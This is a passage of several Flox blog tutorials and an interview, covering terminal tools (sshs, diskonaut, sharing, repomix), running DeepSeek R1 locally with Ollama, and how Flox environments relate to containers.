(TUI) for SSH. If you deal with a surfeit of SSH hosts, keys, ports, and so on, sshs is for you. It’s a neat tool that does one thing and one thing only. Read on to find out how it can fit into your workflow. ## Getting It First thing’s first: You’ve already [downloaded](https://www.flox.dev/get) and installed Flox, right? If so, you can get our `sshs` package by initializing a Flox environment in a new project folder and installing it from the Flox Catalog. Once you activate your Flox environment, the command `sshs` is available for use. This is literally as simple as typing: ``` mkdir sshs && cd sshs flox init && flox install sshs flox activate ``` You can also `flox install sshs` into an _existing_ Flox project environment, of course. ## Using It This walk-through is going to be short and sweet, because `sshs` does basically one thing—superbly. Maybe you’re familiar with `.ssh/config`, which gives you a way to define ssh host entries, but you’ve never bothered populating it. Or maybe you _have_ populated it, but you gave up trying to maintain it, because it doesn’t eliminate the cognitive overhead involved in keeping track of a slew of SSH connections. Either way, you still have to remember which names you’ve given to which hosts. For example, typing: ``` ssh foo ``` And hitting the `TAB` key might return: ``` foo foooobar foobar foo-bar fooo fooo-barr fooobar foooo-barrrr foooo fooooo-barrrr ``` Which host do you want? (Aside: Maybe you shoulda used more descriptive names for stuff?) Usually you end up `cat`- or [bat](https://github.com/sharkdp/bat)-ing your `.ssh/config` file to figure out which host alias corresponds to which real-world host. If only there were a TUI tool that would give you a way to visually scroll through the connections you’ve predefined in `.ssh/config`—identifying, selecting and easily initiating _just_ the connection you want. Well obviously there is. This is sshs’ _raison d’etre_. Let me show you: sshs displays not just the specific alias assigned to a host, but its connection details, too. Using the cursor keys navigates up and down. Hitting `ENTER` establishes an SSH connection and puts you into a remote pty. Typing in the bounded box across the top of the screen enables a kind of _very_ fuzzy matching: if the letters match a string in `.ssh/config`, sshs will show them in its window. For example, typing “epitro” (for `epitropos`, one of my internal servers) shows two results: The letters in the string “flox” are a little more unique, yielding only relevant results: Again, pressing `ENTER` establishes the connection and—if the contents of your `.ssh/config` file are in order—puts you into a pty on the remote system. Note: if there’s an error _anywhere_ in `config`, sshs will exit when you hit `ENTER` to establish a connection—_any_ connection, even one that’s unrelated to the error. It seems to parse and evaluate `config` when it establishes the connection. So you could get errors like this: ``` flox [sshs] daedalus@askesis:~/dev/sshs$ sshs Running command: ssh "anaximander" /home/daedalus/.ssh/config line 106: Bad port '65536'. /home/daedalus/.ssh/config: terminating, 1 bad configuration options ``` If your `config` file is in order, you can connect as expected. Below, I’ve connected to my test box `noein`: And once you type `exit` to close your SSH session, you’re put right back into sshs. The only thing it doesn’t do—a feature that could improve it, I think—is give you a way to edit host entries. ## Summary That’s basically sshs. It does one thing and it does it well. And looks good doing it. You can find `sshfs` and about 150,000 other packages (along with millions of historical package-version combinations) in the Flox Catalog. Need an `ssh` package to go along with `sshs`? Need [sshfs](https://github.com/libfuse/sshfs)? Or how about [wish](https://github.com/charmbracelet/wish), from the redoubtable, irreplaceable, magnificent folks at [Charm](https://github.com/charmbracelet)? They’re in there. And with that I give you … The Weekend. Happy Hacking! Title: Free Up Just Enough Storage with Diskonaut and Flox Source: https://flox.dev/popular-packages/free-up-just-enough-storage-with-diskonaut-and-flox/ Date: 2025-02-11 Category: tutorial # Free Up Just Enough Storage with Diskonaut and Flox Diskonaut is a terminal-based tool for visualizing disk usage as an interactive treemap, making it easier to identify large files and folders. Flox makes it easy to get and run. Some of us have a weakness for [TUI](https://en.wikipedia.org/wiki/Text-based_user_interface) disk tools. Whether it’s classic TUI file managers, like [MidnightCommander](https://github.com/MidnightCommander/mc) and [Ranger](https://github.com/ranger/ranger), or disk-space management tools like [ncdu](https://code.blicky.net/yorhel/ncdu), [duf](https://github.com/muesli/duf), [dust](https://github.com/bootandy/dust), [gdu](https://github.com/dundee/gdu), or disk navigation and search tools like [broot](https://github.com/Canop/broot) and [fzf](https://github.com/junegunn/fzf)—we just can’t get enough. If you’re one of us, raise your hand. Don’t be shy. That’s a great setup for this featured package entry. It’s [diskonaut](https://github.com/imsnif/diskonaut), a TUI tool for visualizing disk usage as an interactive treemap, so it's easier to identify large files and folders. Diskonaut is reminiscent of GUI-based tools like [GrandPerspective](https://grandperspectiv.sourceforge.net/) for macOS—or the earlier [KDirStat](https://kdirstat.sourceforge.net/) for Linux—but runs in a TUI, not a GUI. (A modern alternative to KDirStat is [QdirStat](https://github.com/shundhammer/qdirstat), which we might could cover at some point for FPF.) If you find yourself struggling with over-sized project directories, orphaned local LLMs, little-used games, and other disk hogs, `diskonaut` could be a lifesaver. ## Getting It I’m going to assume you’ve already [downloaded](https://www.flox.dev/get) and installed Flox. You can get `diskonaut` in one of two ways: - Initialize a Flox environment in a new project folder and install `diskonaut` from the Flox Catalog; - Pull or remotely activate our **`a-perfect-shell`** environment from [FloxHub](https://hub.flox.dev/flox/a-perfect-shell). Let’s briefly cover both methods. With the **first**, you’d initialize a new Flox environment by `cd`-ing into a project directory and running **`flox init`**. This done, you’d run **`flox install diskonaut`**, followed by **`flox activate`** to start your environment. With the **second**, you have two options: - Running **`flox pull flox/a-perfect-shell`** creates a locked local clone of this environment in a new project directory. Running **`flox pull --copy flox/a-perfect-shell`** creates an _unlocked_ local clone you can modify. - Typing **`flox activate -r flox/a-perfect-shell`** activates a FloxHub environment and puts you in a Flox subshell. When you exit, the session ends (but the local copy of the environment remains cached for next time). You can activate a FloxHub environment from any directory. When you install `diskonaut` manually or pull **`a-perfect-shell`** from FloxHub, you need to run **`flox activate`** to use it. With remote activation and **`flox activate -r`**, you start out in a live subshell session. ## Using It Let’s say you’ve got—and I’m just spit-balling here—2 TB of local storage. And let’s say some obscene proportion of said storage—spitballing again, how about 99.8%?—is usually maxed out. Downloading a new LLM, installing a new game, pulling a container from DockerHub—these and other activities always involve finding and deleting (newly) unloved files that are hogging precious disk space. Otherwise, you’ll get this error. You've come to _dread_ this error: ``` No space left on device ``` Whenever you see this message, you fire up `diskonaut`, usually starting in your home directory: ``` cd ~ && diskonaut ``` It takes a moment for diskonaut to scan your home directory and its subfolders. Once it’s finished you see: You press the `-` or `+` keys to zoom in or out of your view—i.e., to show more or fewer directories in the disk-tree view. You use the `ARROW` keys to position the cursor on panes in the GUI to highlight them. And pressing `ENTER` descends into that directory. Descending into the `comfy_ui` directory reveals that (not surprisingly) `models` is the largest dir. Deleting this directory is as easy as highlighting it and pressing `BACKSPACE`. but we don’t actually want to do this, because we use [ComfyUI](https://github.com/comfyanonymous/ComfyUI) with some frequency. Instead, let’s descend into `zed`, a project directory for building the [Zed editor](https://github.com/zed-industries/zed) from source. We’ve already built `zed`, so from our perspective `zed`-the-project-directory can indeed be made dead. Using the `ARROW` keys to select `zed` and pressing `BACKSPACE` surfaces a warning prompt: Approving the delete operation (by pressing `y`) does one other neat thing: diskonat logs the space that's freed up by deleting a file or folder in its “freed:” counter in the top-left of the TUI screen: Alllll right. Just 32 GB more space to free up before you can download the 70-billion-parameter version of DeepSeek R1! ## Summary On this and on other occasions, diskonaut helped save the day. There are other tools that help you identify oversized files and folders, but diskonaut is probably the easiest and most efficacious. Flox gives you access to over 215,000 packages—and millions of historical package/version combinations!—that, like `diskonaut`, can easily be **`flox install`**-ed from the command-line, or defined declaratively in the Flox environment manifest. From so simple a beginning, you can use Flox to create rich runtime environments with built-in services, secrets management, automations, aliases, functions, and other features. Happy hacking! Title: Ad Hoc Filesharing Made Easy with Sharing and Flox Source: https://flox.dev/popular-packages/ad-hoc-filesharing-made-easy-with-sharing-and-flox/ Date: 2025-02-07 Category: tutorial # Ad Hoc Filesharing Made Easy with Sharing and Flox Ever find yourself shelled into a remote server and you just want to grab a few files without all the scp-hopping? The sharing package is built for you. One of my common workflows contains a particularly annoying task. It needs to be done right at the end of the process for producing artwork - just like the ladder leaning on the fence you see above! This process involves shelling into a remote server, one with CUDA cores, and generating an image using our [AI modeling environment](https://flox.dev/blog/ml-modeling-with-flaim-and-hugging-face-diffusers/). Once the image has been generated, the tedious part begins. I have to get my image from the remote server to my laptop, where I'm preparing the pull request. It's not a big deal. It's not **hard**, it's just an obnoxious schlep at the end of a creative experience. This used to mean I would fumble through these steps: * opening a new shell term or tab * scp-ing the file from the remote server to my local system * opening the image to view it in full size I no longer do any of this because of a simple package called [`sharing`](https://github.com/parvardegr/sharing). ## Sharing is caring The `sharing` package is designed to make it easy to spin up a web server with the contents of your current directory. To get it, run `flox install sharing` in your favorite environment. I have it in my [default environment](/docs/tutorials/default-environment/), but you might prefer it as part of a discrete toolset. The best part: this doesn't affect your current Node setup at all - in fact, you don't even need to have Node installed. Flox takes care of it all behind the scenes and gives you the tool you asked for. Once it is installed, just run `sharing` along with a path, often `.` for the current directory. It provides you with a URL you can visit to browse its contents, and it even gives you a QR code so you can view them from your phone. I can view my remote files, download the ones I want, and get on with my day. If I find that it's binding to the wrong network interface, I can give it a hint with `--ip` - e.g., `--ip 100.92.14.35`. ## Sharing as a one-liner Don't want to install `sharing` into your environment permanently? Just want to use it once without affecting your current project or its dev stack? Try the Flox sharing environment, which can be run as a one-liner: ``` % flox activate -r flox/sharing -- sharing . ``` This will activate the `flox/sharing` environment and run `sharing` in the current directory. When you're done, you can key in a spry `^C` and be restored to your previous shell environment. ## Flox makes work feel like play Using any of the 215,000 packages in the Flox Catalog is as easy as a `flox install` command, and they can be installed into environments that are hackable, stackable, and shareable. It's the best way to get new stuff, and you can [download it right here](/download/) at flox.dev. Title: Get DeepSeek R1 on Your Laptop with Ollama and Flox Source: https://flox.dev/blog/get-deepseek-r1-on-your-laptop-with-ollama-and-flox/ Date: 2025-02-04 Category: guide # Get DeepSeek R1 on Your Laptop with Ollama and Flox Our Flox Ollama runtime environment now includes a popular React-based web front-end, so it looks and behaves like ChatGPT. You can pull and run DeepSeek R1—then prompt it from your browser. On Monday, January 27th, as NVDA shed about $1 trillion of market value, a friend who doesn’t typically text me about tech did exactly that. “What is going on with NVDA?!?!" they demanded, followed quickly by: "What is DeepSeek?!?!?!?!” As events unfolded, the ratio of [interrobangs](https://en.wikipedia.org/wiki/Interrobang)-to-letters in their messages increased geometrically, culminating in this question: "YOU CAN RUN DEEPSEEK ON A LAPTOP?!?!?!?!?!?!?!?!” Yes, I responded: You absolutely can. In fact, thanks to our pre-built [Flox-Ollama example environment](https://flox.dev/blog/llms-in-your-project-with-ollama-flox/), it's shockingly simple to run not just DeepSeek R1, but dozens of other large language models (LLM) locally. To make [Ollama](https://github.com/ollama/ollama) and its user experience (UX) even better for people like my friend, who isn’t exactly comfortable using a [TUI](https://en.wikipedia.org/wiki/Text-based_user_interface), we’ve added a new feature to this environment: [nextjs-ollama-llm-ui](https://github.com/jakobhoeg/nextjs-ollama-llm-ui), a [Next.js](https://github.com/vercel/next.js)-based frontend for Ollama that makes it behave like ChatGPT. With `nextjs-ollama-llm-ui`, you can prompt DeepSeek R1 and other Ollama models from your web browser. Read on to see what this involves, what it looks like, and how two differently sized DeepSeek R1 models run locally. ## Getting It Let’s assume you’ve already [downloaded](https://www.flox.dev/get) and installed Flox. You can run our pre-built Flox example environment in one of two ways: - Clone it into a completely new project directory, like when you clone a GitHub repo; - [Remotely activate](https://flox.dev/docs/tutorials/sharing-environments/?h=remote+activation#directly-activating-a-remote-environment) a temporary version in any existing directory. The first option is useful if or when you need to design and customize a portable Ollama environment for a project. Navigating to your project directory and typing... ``` flox pull --copy flox/ollama ``` ...creates a local clone of our example environment you can customize for your purposes. You can run this environment by typing **`flox activate -s`**. The second option is super convenient if you’re working on something and want to spin up a familiar web interface for querying a local Ollama LLM. Just type: ``` flox activate -s -r flox/ollama ``` This creates a temporary local copy of the remote Flox environment **`ollama`**, activates it with the **`-r`** switch, starts its built-in services (with the **`-s`** switch, for "services"), and puts you into a Flox subshell. When you type `exit` to quit (or press `CTRL + D`), this subshell shuts down, along with the services it spawned— `ollama-serve` and `ollama-ui`. As Larry David might put it: “Pretty, pretty, pretty convenient.” (**Note**: For information about running and using the `nextjs-ollama-llm-ui` front-end on Windows, see **Housekeeping Notes** below.) ## Using It If you’ve used ChatGPT or Claude, you’ll know how to work with the `nextjs-ollama-llm-ui` front-end. The UX is essentially the same. When you first go to `http://localhost:3000`, you’ll be asked to create a profile. This is comparable to signing up with services like Anthropic or OpenAI, with the obvious exception that you’re not being asked to enter confidential data and you’re not actually “registering” with anyone or anything. In fact, if you click the `X` in the top-right corner of the sign-in prompt (see the screenshot below), `nextjs-ollama-llm-ui` just creates a profile for "Anonymous." If you haven’t used Ollama before, the first thing you’ll need to do is pull a model. You _can_ do this using your browser (see below), but if you’re pulling a large model, it probably makes sense to run `ollama pull ` directly in the terminal from within your Flox environment. The Next.js front-end doesn’t show download progress, so with large models, you’ll have to keep refreshing the page until your model appears in the drop-down menu. If you _do_ want to pull a model via your browser, go to your profile icon badge/name in the lower left corner of the page (mine bears the name of one of the all-time great [progressive rock drummers](https://en.wikipedia.org/wiki/Bill_Bruford)) and click “Pull Model”: You can click the highlighted `library` link in the screenshot below to go to a page that lists available Ollama models. Because I’d already downloaded `deepseek-r1:7b`, the same screenshot shows me grabbing `deepseek-r1:70b`. This model weighs in at 43GB and has 70 billion parameters. (Note: You'll need at least 48GB of combined system and video RAM to run this model.) Once you’ve pulled a model, you might need to refresh your session to be able to use it. Just press the `F5` key and then select `deepseek-r1:latest` from the drop-down menu that’s exposed in the top-center of your browser. Now you can interactively prompt the model. Let's start with a variation of a prompt that's trending in the West: You _could_ see this as a textbook example of DeepSeek’s one-sided approach to censorship. But it’s also a textbook case of confabulation: So far as I can determine, “Yuliefsky Ivanov” never existed. Ironically, the actions the model ascribes to them and the backdrop to those actions do evoke the exemplary case of one of the [most courageous human beings](https://en.wikipedia.org/wiki/Tank_Man) who’s ever lived. Is DeepSeek R1-7b struggling subversively to tell the truth? ## Encountering DeepSeek Speaking of truth-telling, let's state upfront that DeepSeek R1-7b isn’t overly knowledgeable... ...and, like every other LLM, has a tendency to make stuff up: But context is key! DeepSeek R1-7b is just 4.7 GB in size. It’s a “reasoning” model, likely (?) trained or fine-tuned on chain-of-thought (CoT) data, which leads it to pantomime a multi-step "reasoning" process as part of token prediction. In other words, the “reasons” it generates in response to a user's prompt both guide its inferencing and are sometimes explicitly captured in its final output. However, the emphasis on “reasoning” in a 7-billion-parameter model—stored and loaded in [4-bit quantization](https://huggingface.co/docs/optimum/en/concept_guides/quantization) to reduce its memory footprint—comes at the cost of broad _factual_ knowledge; it seems to lack detailed information across many domains. But that’s okay. You likely wouldn’t use a CoT model such as R1-7b for knowledge-based tasks. But what about tasks that require human reasoning—or its notional equivalent in machine intelligence? Say, for example, a task like porting logic expressed in a shell scripting language (Bash) to a programming language (Python)? Does the smallest DeepSeek R1 model do better with this? Let's find out! The short story is that R1-7b does a little better at this. For one thing, its CoT output—where the model generates intermediate "reasoning" steps before inferencing its final answer—can be helpful for people (like me) who aren’t gifted programmers and need help clarifying how to think about a problem. By the way, one neat thing about `nextjs-ollama-llm-ui` is that it embeds the Ollama model's output into a code block you can copy just by clicking a clipboard icon, as shown in the screenshot below: Does the code DeepSeek R1-7b generated work as expected? No. It won't run, and it contains obvious errors. (It’s missing `import sys` at the script’s beginning. It also expects to obtain the local system’s kernel version by parsing the [os-release](https://www.commandlinux.com/man-page/man5/os-release.5.html) text file.) Then again, I usually end up squashing bugs in the first iteration of code generated by Claude or GPT-4 too. In my experience, you need to prompt an LLM iteratively to (eventually) get something that works. On the other hand, if you have tasks that require both reasoning _and_ knowledge, `deepseek-r1:70b`, the 70-billion parameter version of this model, is definitely more knowledgeable. In the screenshot below, it correctly answers a question that causes its 7-billion parameter cousin to confabulate. The next screenshot shows the code R1-70b generated for the same bash-to-python porting project. The larger model avoids the obvious mistakes and misprisions of its much smaller cousin: So if code porting is a reliable proxy, it seems to be better at "reasoning," too. But DeepSeek R1-70b is 43GB, while R1-7b is 4.7GB. And just as R1-70b is an order of magnitude larger in size, it feels like it’s also an order of magnitude slower in performance. I’ve successfully used small models, like [phi3.3.8b](https://ollama.com/library/phi3), in workflows that extract predictable values from semi-structured sources, like JSON data returned by the [Discogs](https://github.com/discogs) client. But given DeepSeek R1-7b’s CoT emphasis, it’s less useful for tasks like this. The DeepSeek R1-70b model, by contrast, is something I _could_ usefully spin up locally for generating, debugging, porting, documenting, etc. code. If only I could get my hands on an RTX 5090! (Nvidia are you listening?) ## Housekeeping Notes Our environment works out-of-the-box on **macOS** and **Linux**. However, the `nextjs-ollama-llm-ui` service is accessible from _the local system only_, binding to `127.0.0.1`. That may change in the future. Accessing `nextjs-ollama-llm-ui` with a browser on **Windows and WSL2** is more complicated. WSL2’s Linux kernel runs in a VM with its own virtual network interface and subnet, so you can’t reach `http://localhost:3000` on WSL2 from a web browser _running on the Windows host_. But this is Flox we’re talking about! And Linux! (Albeit running on Windows.) Linux makes hard things possible, and Flox makes possible things easier. One workaround is to install a Linux web browser, like Mozilla Firefox, from the Flox Catalog. You can do this by **`flox pull --copy`**-ing our **`flox/ollama`** environment in WSL2, running **`flox install firefox`**, and then activating that environment with the **`-s`** switch to start its built-in services: ``` flox activate -s ``` This puts you into a Flox subshell. Just type `firefox` in the activated subshell and _eventually_ (remember, you're starting up a GUI app on a Linux VM hosted by Windows) Firefox will pop up on your screen. Typing `http://localhost:3000` brings up the `nextjs-ollama-llm-ui` front-end. **Another** workaround is to `git clone` my custom `wsl2-ollama` environment, which contains a Powershell script that does the following: - Detects the IP address of your WSL2 VM and exports it as a variable; - Configures Windows Firewall rules to forward packets to port 3000 (the Next.js front-end) at that IP; - Determines the current Windows path (e.g., `C:\foo\ollama`) where the script is running; - Converts this Windows path to its WSL equivalent using wslpath and exports it as a variable; - Passes this variable to the command that starts the Flox `ollama` environment at the correct WSL path. My script is called `wsl2-bootstrap.ps1` and lives in my [wsl2-ollama repo](https://github.com/barstoolbluz/wsl2-ollama.git) on GitHub. This repo also contains our Flox `ollama` environment. To use it first type... ``` git clone https://github.com/barstoolbluz/wsl2-ollama ``` ...then open up PowerShell in the `wsl2-ollama` directory and use it to run the `wsl2-bootstrap.ps1` script. **Note**: You will need to prepend the following command or PowerShell will complain: ``` Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass; ./wsl2-bootstrap.ps1 ``` ## Reproducible Results Anywhere The genius of building both Ollama and its Next.js front-end into a Flox environment is that you have something that runs the same everywhere. You can run this environment on your local system or use **`flox containerize`** to [package it up](https://flox.dev/blog/floxifying-a-project-repo-part-1/) into a lightweight container artifact for running in CI and production. Try it yourself. The genius at Flox Labs who created our `ollama` example environment used an ARM-based MacBook Pro running macOS Sequoia. But when you **`flox pull`** this environment and run **`flox activate -s`** on an Intel-based Debian system, you get x86-64 Linux packages. And when you run the same environment on an ARM-based Fedora system or an Intel-based MacBook, you get binaries and libraries compiled natively for each system’s CPU architecture. This is especially critical when you’re working with ML workloads such as LLMs or diffusion models, which rely on CPU- and GPU-optimized hardware acceleration to run with acceptable performance. Intrigued? [Download Flox](https://www.flox.dev/get) and take DeepSeek R1 for a test drive! Title: Is Flox an Alternative to Containers? Source: https://flox.dev/blog/is-flox-an-alternative-to-containers/ Date: 2025-01-29 Category: guide # Is Flox an Alternative to Containers? In the real world, Flox environments and containers neatly complement one another. The real magic lies in using Flox inside containers to fetch and manage runtime dependencies at build time. Should you containerize your Flox environments—or run them directly on a host? This is an unhelpful way of framing the question, says Flox Vice President of Engineering Michael Stahnke. Flox environments and containers have few areas of overlap, and their respective boundaries are _mostly_ well-defined. In fact, each maps to distinct requirements in the SDLC. In the real world, Stahnke explains, Flox environments and containers neatly complement one another. - Flox environments give teams a superior option for local, collaborative development; - Containers give them a standard artifact for testing and validating in CI, or deploying to production; - Using Flox _inside of containers_ gives teams the best of both worlds. The following Q&A has been edited for clarity, readability, and flow. ## The thrill of building and testing on bare metal **Steve Swoyer (SS)**: Do you get asked often about Flox and containers? **Michael Stahnke (MS)**: Yes—actually, no. Not “Flox and containers,” but “Flox **or** containers.” There’s often this default assumption of “either/or,” that you have to use one or the other. But really it’s “both/and.” The truth is that containers are integral to the way we deliver and run software, and we absolutely need to be able to work with them the best we can wherever they’re used across the SDLC. We approach this as once it gets off your laptop, we’re happy to work with you in a container. We’ll even work with containers when you’re working locally on your laptop, if that’s what you really need. But is that what you really need? **SS**: But if you run your production workloads in containers, _isn’t that_ what you really need? **MS**: I find that developing with dev containers on the local dev side—I find that a little awkward. Usually I end up penetrating the container, passing in a bunch of environment variables, or mounting my `$HOME` directory [on the local system], or wherever I put my source code. And then I get in there and my shell isn't set up the way I want, my aliases aren't there, I don't have the right colors—_because I'm in a container_. I would just rather be on the metal. My experience is that most software engineers feel the same way. ## Build locally, deploy globally **SS**: Right, but how do you go from on-the-metal locally to in-a-container for CI and production? **MS**: Once you get off of laptops and you have some code you have commits going through, you go to CI. What does CI usually do? Well it validates that the code is good, and it presses it into an artifact of some kind. And that artifact is usually a container. If you have a Flox environment and you want to press it into an artifact for running in production, we've made that easy: you just run **`flox containerize`** to export that environment into a container. I would argue the exported container is even better than what you get by other means. **SS**: Why? **MS**: Because it doesn't have that extra attack surface you get with even a minimal base image, and it doesn’t have extra things you don’t need going on inside of it. When you export that Flox environment, you’re exporting just what you need, `glibc` and other stuff, from the ground up. But nothing you’re not going to use. But if you want to use a Dockerfile to build a container and take the source code you wrote on top of a Flox environment and replay it on top of a container, you're welcome to do that. Obviously some of our reproducibility guarantees drop away when that happens, but there’s nothing wrong with this. ## Containerizing Flox’s dogfood **SS**: Do you use containers in your workflow? **MS**: In _my_ workflow? Mostly I don’t. Like I do most of my work within Flox environments, because _I work at Flox_, and I'm trying to exercise [i.e., use, test] them in every way I can think of, because that's part of my job. So you know, I am not an unbiased third party, if that's what you're asking. But, you know, I still use containers a lot of times because the way the industry makes tools available, a container a lot of times is the fastest way to try something out, to see “Is this the thing I'm looking for?” That said, _we_ use containers in our workflow—I mean, Flox does. **SS**: I shouldn’t be surprised by this. But we do?! Where? How? **MS**: We actually run FloxHub on containers. And so, like we are exporting environments, putting them in containers, and running them in containers. That is exactly how we run things like FloxHub right now. **SS**: _The marketing person in me feels obliged to point out that FloxHub is what you use to manage and share Flox environments from a central place. Imagine me saying this last in a TV-voiceover voice._ ## Keep the Customer Satisfied **SS**: So we run FloxHub on containers. That seems like a pretty powerful argument for the kind of “both/and” complementarity you’re talking about? **MS**: You know, if you’re already invested in [container] infrastructure, if you’re already invested in the skills and talent, it’s probably the way you actually want to run things in production, right? We don't expect you to throw that away just because you like some of the benefits of a different tool. And if we were asking you to do that, you probably wouldn't use the tool. So what we want to do is meet you where you are, and if you want to run containers because you are very good operationally with it, please do. **SS**: But this _is_ one area of overlap, isn’t it? Take FloxHub for example...we _could_ run FloxHub using Flox environments, but we opted to use containers. Why? How did we approach this decision? **MS**: At Flox, everyone in engineering has worked with containers across the SDLC. So running FloxHub in containers was just a very convenient way to do things. And, you know, we're not above finding convenient ways to move through the SDLC. In our current workflow, we use containers that contain exported Flox environments, and these contain our FloxHub source code. And that's how we run our services for FloxHub. **SS**: So for us, it was two things: we had expertise with containers, and using containers fit naturally into our workflow? **MS**: Yes. It’s—I mean, we have to meet people where they are. We have to work with the way they expect to do things. Most places expect to use containers for this. If you made an investment in operating containers, that means you made an operational shift. You've hired different talent, or you've invested in different education for people. You’re doing things differently than a decade ago, or 15 years ago. But the main thing is that what you see as overlap isn’t actually overlap, because Flox and containers serve different purposes. ## From each according to... To each according to... **SS**: You mean Flox is designed for building and testing software locally? **MS**: Local dev is only one aspect of it. Think of a container as almost like a sliced VM. Most people think about it as a sort of mini-VM: I can spin up a container and it gives me isolated infrastructure for running something in a predictable way. Managing software is just something you have to do inside a container to make that work. It isn’t the main thing. Flox is just the opposite: it’s based on Nix, which is designed for managing software—what gets installed, how it’s versioned, how it’s reproduced. Flox isolates your dependencies as a side effect of this, but you don’t get the strict sandbox isolation you get with containers. The primary goal is managing the runtime software that’s required. So Flox is almost like a package manager that has state you can carry with you. Plus with Flox you get determinism, you get guaranteed reproducibility, which you can’t easily get with containers. ## Reproducibility: when Groundhog Day is the ideal **SS**: From your perspective, as someone who’s run engineering at CircleCI and Puppet, why does reproducibility matter? **MS**: One of the things that's a little different about the way Flox works versus containers is that most container patterns—if you want an image to be completely reproducible, meaning that if you run through a Dockerfile and try to output a container image today versus doing the same thing 15 months from now, you will get, you know, _the exact same versions of software_—that's really difficult to do. Part of that is because of how Dockerfiles work. You start with a base image and you’re using the package manager built into that base image to install dependencies. So you’re using `apt`, or you’re using `dnf`, and they’re pulling whatever version of the dependency is in the [upstream] repo. So you don't know which versions you’ll get at different times when you run that Dockerfile. Obviously software can be pinned using traditional package managers, but it's not a pattern widely adopted and it feels against the grain when doing so. **SS**: But you _can_ easily pin dependencies with Flox… **MS**: Right. Flox locks the exact version of every piece of software, every file, every component inside a Flox environment to a specific version. And you always know exactly what’s in there. If you go to materialize a Flox environment a year or two from now, it will be byte-for-byte the same. And that is really important to us. And that's—you might say, “Man, that sounds pedantic. _Why_ is that important?” Well say a bug happens in a v1.01 release of something, but it’s fixed in the v1.02, or maybe the v1.03 release. And so this gives us security benefits, because we can actually say “We know exactly what's in there”—to the point that, like, generating a [software bill of materials](https://www.ntia.gov/page/software-bill-materials) becomes relatively trivial, and everything else kind of unfolds from that. With containers, there are patterns where you use things like `latest`, which is a mutable tag that just moves around and travels around. And so you run, `docker pull alpine:latest` on one machine one day, and the very next day you run the same command on the same machine. You might not end up with the same image. This is not a flaw with containers. They were just designed to be really convenient, and I think they _are_ really convenient. But the issue is, you have to accept some trade-offs because of that convenience. ## The best of both worlds **SS**: It almost sounds like you **are** saying “either/or”—that is, it’s Flox **or** containers. **MS**: No. Earlier I talked about how you can run Flox environments inside containers. Like I said, _we_ run FloxHub on Flox environments running inside containers. Think about what happens when you layer Flox on top of a base image, but you’re using it [i.e., Flox] instead of `apt` or `dnf` or whatever to get your runtime dependencies? You’re going to get the exact same benefits I talked about. So, yeah, even though you can _pin_ dependencies with `apt` or `dnf`, that’s not what most people do, mainly because it takes extra steps, and you can't guarantee they [pinned dependencies] will always be available. With Flox, defining everything up front, including [pinning] specific versions of dependencies, is part of how it works. ## And hidden worlds within worlds **SS**: My last question is a kind of [Nix in the Wild](https://flox.dev/nixinthewild/)-style question: What advice would you give someone who's familiar with containers, but is now just encountering Flox? What things will surprise them? What would you say to prepare them for that experience? **MS**: I think a real “Wow!” moment is on the developer side. And I think eventually you get to “There's no place like `$HOME`.” With Flox, it feels like I can work on my laptop doing the things I want the way I want. But I'm still guaranteed to be using the exact same software as my colleague who works the exact way _they_ want. And I think that's what’s cool. Our goal was to move from “It works on my computer” to “It works on mine, your, and their computers, too." And you know, if I can make sure that everything I'm doing works on your computer, that's a really powerful thing. And I think those are the “Aha!” moments where people start to go: “Oh, I see where the power is here. I get to use _my_ editor. I get to use _my_ tools, my aliases, my shell, my setup.” So if you’re a developer, I’d say: expect “Wow!” and expect “Aha!” And if this doesn’t happen, that’s okay. It just means Flox isn’t your thing. I'd _like_ it to be your thing, though, so if somebody doesn't like it, I'd love to hear and understand why. ## Flox and Containers, Containers and Flox: A primer One common implementation of a Flox-and-Containers workflow looks like the following: - Teams run shared Flox dev environments _directly_ on their own local systems; - This gives them transparent access to local files, data, secrets, services, and other resources; - When they’re ready to deploy to CI, teams run **`flox containerize`**, which repackages their environments as containers. The resultant images get pushed to a container registry, then pulled and validated in CI. Optionally, teams can manage _both their code and their runtime dependencies together_ by co-locating Flox environments with (or “inside”) their project repos, then cloning and containerizing these projects in CI. Since a Flox environment consists of just two files (an environment definition expressed in TOML and a versioning lockfile expressed in JSON), it’s easy for teams to co-locate them with their projects. This way Flox project repos can be cloned and containerized in CI for testing, and validated images can be pushed to a container registry. The magic isn’t just in defining environment configurations with Flox—it’s in using Flox _inside containers_ to fetch and manage _specific versions_ of runtime dependencies at build time. By starting with a minimal base image and using Flox to handle dependencies, teams can create containers that always behave predictably, regardless of when they’re built or where they run. One way or another, _containers function as the de facto deployment artifacts_ in CI, staging, and production. Title: Train Your Own Mechanical Turk with repomix and Flox Source: https://flox.dev/popular-packages/train-your-own-mechanical-turk-with-repomix-and-flox/ Date: 2025-01-24 Category: tutorial # Train Your Own Mechanical Turk with repomix and Flox Described as a tool for working with large language models, repomix is useful for anyone working with AI or machine learning platforms that rely on structured text inputs for analysis or processing. This package guide covers [repomix](https://github.com/yamadashy/repomix), a command-line tool you can use to condense any code repo, folder, or set of files into a raw text file, so it's easier for machine intelligence to analyze. I knew nothing about `repomix` before Tom Bereknyei, Flox’s mystagogical lead engineer, told me about it. My loss. Because if I’d had `repomix` when I was writing my walk-through about our portable [RAG stack](https://flox.dev/blog/get-a-portable-turn-key-rag-stack-with-verba-and-flox/) environment, things would have gone much, much faster. Even though it’s described as a tool for working with large language models (LLM), `repomix` is useful for anyone working with machine learning (ML) platforms—like AWS Sagemaker, or [HuggingFace Transformers](https://huggingface.co/docs/transformers/en/index) with [MLflow](https://github.com/mlflow/mlflow)—that rely on structured text inputs for analysis or processing. Read on to discover how it can fit into your workflow. ## Getting It Assuming you’ve already [downloaded and installed Flox](https://www.flox.dev/get), you _could_ get `repomix` by: - Running **`flox install nodejs`** from within an existing Flox environment; - Activating that environment, by running **`flox activate`**; and - Running `npx repomix`. There’s no need to do this, however, because the `repomix` package is also available in the Flox Catalog! So getting `repomix` is as simple as running... ``` flox install repomix ``` ...in a new or existing Flox environment folder. This way you can work with `repomix` in an isolated, ephemeral Flox environment _that doesn’t install or modify system-wide binaries or dependencies_—like Node.js. Running **`flox activate`** puts you into an isolated subshell where you can run and use `repomix`. That took all of … 15 seconds? Now that you have `repomix`, what can you do with it? Let’s find out. ## Using It We’ll use a publicly available GitHub repo to showcase what `repomix` can do. Just because we can, let’s use `floxdocs`, the GitHub repo owned and maintained by our FloxDocs team. If you’d like to play along at home, you can clone `floxdocs` by running: ``` git clone https://github.com/flox/floxdocs ``` You’ve already activated your 